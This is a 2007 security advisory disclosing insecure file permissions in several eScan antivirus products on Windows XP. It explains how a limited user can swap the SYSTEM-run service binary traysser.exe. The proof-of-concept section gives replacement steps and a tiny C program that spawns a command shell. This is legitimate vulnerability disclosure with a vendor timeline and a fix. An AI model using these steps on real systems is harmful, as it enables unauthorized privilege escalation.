SecurityReason - Multiple eScan products insecure file permissions

Advisory Text :

=========================================================================
Team Intell Security Advisory TISA2007-13-Public
-------------------------------------------------------------------------
Multiple eScan products insecure file permissions
=========================================================================

Release date: 30.08.2007
Severity: Moderately critical
Impact: Privilege escalation
Remote: No
Status: Unpatched
Software: eScan Virus Control 9.0.722.1
eScan Anti-Virus 9.0.722.1
eScan Internet Security 9.0.722.1
Tested on: Microsoft Windows XP SP2
Vendor: http://www.mwti.net/
Disclosed by: Edi Strosar (Team Intell)

Vendor's description of affected application(s):
================================================
"eScan is the latest offering from MicroWorld Technologies
Inc. It offers a combination of features to help you fight
the threat of viruses, set security policies for parental
control over content accessed by your child. It guards
against Internet misuse, block spam and offensive mails
and block popup ads."

Download link:
http://www.mwti.net/products/download_center.asp

Analysis:
=========
eScan product line is prone to security issue which can be
exploited by LUA users to gain escalated privileges.

The problem is caused due to the application setting
insecure default permissions (grants Everyone:Full
Control) on the eScan installation directory and all it's
child objects. This can be exploited to remove,
manipulate, and replace any of the application's files.

Successful exploitation allows execution of arbitrary code
with SYSTEM privileges.

Proof of concept:
=================
- logon as LUA user
- rename traysser.exe to traysser.exe.BAK
- copy program.exe to eScan installation directory
- rename program.exe to traysser.exe
- restart the computer
- "rootshell" ;)

NOTE: traysser.exe is eScan Server Updater Service that
runs as NT AUTHORITYSYSTEM.

Tested on multiple eScan products v9.0.722.1. Other
products/versions may be affected.

Source code for program.exe:
============================
#include <stdio.h>

int main()
{
system("cmd.exe");
return 0;
}

Solution:
=========
Set proper permissions on the eScan installation directory
and all it's child objects. NOTE: this may impact the
functionality.

Timeline:
=========
10.08.2007 - initial vendor notification
20.08.2007 - additional vendor notification
30.08.2007 - public disclosure

Contact:
========
Maldin d.o.o.
Trzaska cesta 2
1000 Ljubljana - SI

tel: +386 (0)590 70 170
fax: +386 (0)590 70 177
gsm: +386 (0)31 816 400
web: www.teamintell.com
e-mail: info at teamintell.com

Disclaimer:
===========
The content of this report is purely informational and
meant for educational purposes only. Maldin d.o.o. shall
in no event be liable for any damage whatsoever, direct or
implied, arising from use or spread of this information.
Any use of information in this advisory is entirely at
user's own risk.

=========================================================================